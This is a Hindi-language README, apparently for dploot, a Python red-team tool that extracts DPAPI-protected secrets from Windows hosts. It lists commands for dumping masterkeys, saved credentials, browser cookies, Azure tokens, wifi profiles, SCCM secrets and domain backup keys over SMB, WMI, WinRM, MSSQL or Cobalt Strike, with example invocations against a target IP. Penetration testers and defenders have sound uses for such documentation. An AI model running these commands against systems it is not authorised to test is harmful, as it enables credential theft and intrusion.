dploot

dploot, Harmj0y द्वारा C# में लिखे गए SharpDPAPI का Python पुनर्लेखन है, जो स्वयं gentilkiwi द्वारा Mimikatz से DPAPI का पोर्ट है। यह इन टूल्स के सभी DPAPI लॉजिक को लागू करता है, लेकिन इस बार यह Python इंटरप्रेटर के साथ और Linux वातावरण से उपयोग करने योग्य है।

यदि आप नहीं जानते कि DPAPI क्या है, तो यह पोस्ट देखें।

विषय-सूची

• dploot
  • विषय-सूची
  • इंस्टॉलेशन
  • उपयोग
    • प्रोटोकॉल
    • Kerberos
  • कैसे उपयोग करें
    • SMB के माध्यम से रिमोट एक्सेस
    • WMI के माध्यम से रिमोट एक्सेस
    • WinRM के माध्यम से रिमोट एक्सेस
    • MSSQL के माध्यम से रिमोट एक्सेस
    • स्थानीय फ़ाइलसिस्टम एक्सेस
    • Cobalt Strike के माध्यम से रिमोट एक्सेस
    • डोमेन व्यवस्थापक के रूप में
    • गैर-डोमेन व्यवस्थापक के रूप में
  • कमांड
    • उपयोगकर्ता ट्राइएज
      • masterkeys
      • credentials
      • vaults
      • rdg
      • certificates
      • browser
      • cng
      • wam
      • mobaxterm
      • triage
    • मशीन ट्राइएज
      • machinemasterkeys
      • machinecredentials
      • machinevaults
      • machinecertificates
      • machinecng
      • machinetriage
    • विविध
      • wifi
      • sccm
      • backupkey
      • blob
  • श्रेय

इंस्टॉलेशन

आप dploot को सीधे PyPI से pipx के साथ इंस्टॉल कर सकते हैं:

pipx install git+https://github.com/zblurx/dploot.git

या

pipx install dploot

Kali Linux पर, आप dploot को रिपॉज़िटरी से इंस्टॉल कर सकते हैं:

sudo apt install python3-dploot

उपयोग

dploot (https://github.com/zblurx/dploot) v4.0.0 by @_zblurx
usage: dploot [-h]
              {backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
              ...

DPAPI looting in Python

positional arguments:
  {backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
                        Action
    backupkey           Backup Keys from domain controller
    blob                Decrypt DPAPI blob. Can fetch masterkeys on target
    browser             Dump users credentials and cookies saved in browser from local or remote target
    certificates        Dump users certificates from local or remote target
    cng                 Dump users CNG files blob from local or remote target
    credentials         Dump users Credential Manager blob from local or remote target
    machinecertificates
                        Dump system certificates from local or remote target
    machinecng          Dump system CNG files from local or remote target
    machinecredentials  Dump system credentials from local or remote target
    machinemasterkeys   Dump system masterkey from local or remote target
    machinetriage       Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
    machinevaults       Dump system vaults from local or remote target
    masterkeys          Dump users masterkey from local or remote target
    mobaxterm           Dump Passwords and Credentials from MobaXterm
    rdg                 Dump users saved password information for RDCMan.settings from local or remote target
    sccm                Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
    triage              Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
    vaults              Dump users Vaults blob from local or remote target
    wam                 Dump users cached azure tokens from local or remote target
    wifi                Dump wifi profiles from local or remote target

options:
  -h, --help            show this help message and exit

प्रोटोकॉल

dploot v4.0.0+ रिमोट एक्सेस के लिए कई नेटवर्क प्रोटोकॉल का समर्थन करता है। आप --protocol <protocol_name> का उपयोग करके प्रोटोकॉल चुनते हैं। प्रत्येक प्रोटोकॉल की अलग-अलग क्षमताएँ और आवश्यकताएँ हैं:

• smb (डिफ़ॉल्ट): रिमोट फ़ाइल एक्सेस और रजिस्ट्री संचालन के लिए SMB/RPC का उपयोग करता है। अधिकांश Windows लक्ष्यों के साथ काम करता है। Kerberos प्रमाणीकरण का समर्थन करता है। impacket के साथ काम करता है
• wmi: रिमोट निष्पादन और रजिस्ट्री संचालन के लिए Windows Management Instrumentation (DCOM) का उपयोग करता है। SMB का उपयोगी विकल्प। Kerberos प्रमाणीकरण का समर्थन करता है। impacket के साथ काम करता है
• winrm: PowerShell-आधारित संचालन के लिए Windows Remote Management का उपयोग करता है। आधुनिक वातावरणों में सामान्य। pypsrp के साथ काम करता है
• mssql: MSSQL Server के माध्यम से कनेक्ट होता है। डोमेन और स्थानीय दोनों डेटाबेस प्रमाणीकरण का समर्थन करता है। Kerberos प्रमाणीकरण का समर्थन करता है। impacket के साथ काम करता है
• local: माउंट किए गए या कॉपी किए गए Windows फ़ाइलसिस्टम को सीधे एक्सेस करता है (किसी नेटवर्क कनेक्शन की आवश्यकता नहीं)। भौतिक ड्राइव या डिस्क इमेज के ऑफ़लाइन विश्लेषण के लिए उपयोगी।
• cobaltstrike: Cobalt Strike beacon REST API के माध्यम से संचालन निष्पादित करता है। Cobalt Strike अवसंरचना के साथ रेड टीम संचालन के लिए उपयोगी।

WMI प्रोटोकॉल का उपयोग करने वाला उदाहरण:

$ dploot masterkeys --protocol wmi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5

स्थानीय प्रोटोकॉल का उपयोग करने वाला उदाहरण (ऑफ़लाइन फ़ाइलसिस्टम):

$ dploot masterkeys --protocol local --root /mnt/c_drive -u bob -p Password

कमांड समर्थन पर महत्वपूर्ण नोट्स:

• अधिकांश कमांड सभी प्रोटोकॉल का समर्थन करते हैं। हालाँकि, backupkey केवल SMB प्रोटोकॉल के साथ काम करता है (इसके लिए डोमेन कंट्रोलर एक्सेस आवश्यक है)।
• केवल smb प्रोटोकॉल ही DPAPI मशीन कुंजी को स्वचालित रूप से डंप करने के लिए LSA डंप का समर्थन करता है। अन्य प्रोटोकॉल के लिए, आपको इसे --dpapi-system-key के साथ स्वयं लाना होगा।

Kerberos

dploot smb, wmi, और mssql प्रोटोकॉल के लिए Kerberos के साथ प्रमाणीकरण कर सकता है। NTLM फ़ॉलबैक के साथ Kerberos सक्षम करने के लिए -k का उपयोग करें। यदि आप कैश्ड टिकट का उपयोग करना चाहते हैं, तो --use-kcache का उपयोग करें। AES कुंजी का उपयोग करने के लिए, --aesKey का उपयोग करें।

$ dploot masterkeys -d waza.local -u Administrator -k -t 192.168.57.5

उपयोग कैसे करें

dploot का लक्ष्य Linux बॉक्स से DPAPI संबंधित लूट को सरल बनाना है। आप इस टूल का उपयोग कैसे करते हैं यह आपके एक्सेस स्तर और लक्ष्य कॉन्फ़िगरेशन पर निर्भर करता है।

SMB के माध्यम से रिमोट एक्सेस

डिफ़ॉल्ट प्रोटोकॉल SMB है। यह DPAPI लूटिंग के लिए सबसे सामान्य दृष्टिकोण है और मानक Windows फ़ाइल शेयरिंग के साथ काम करता है:

$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys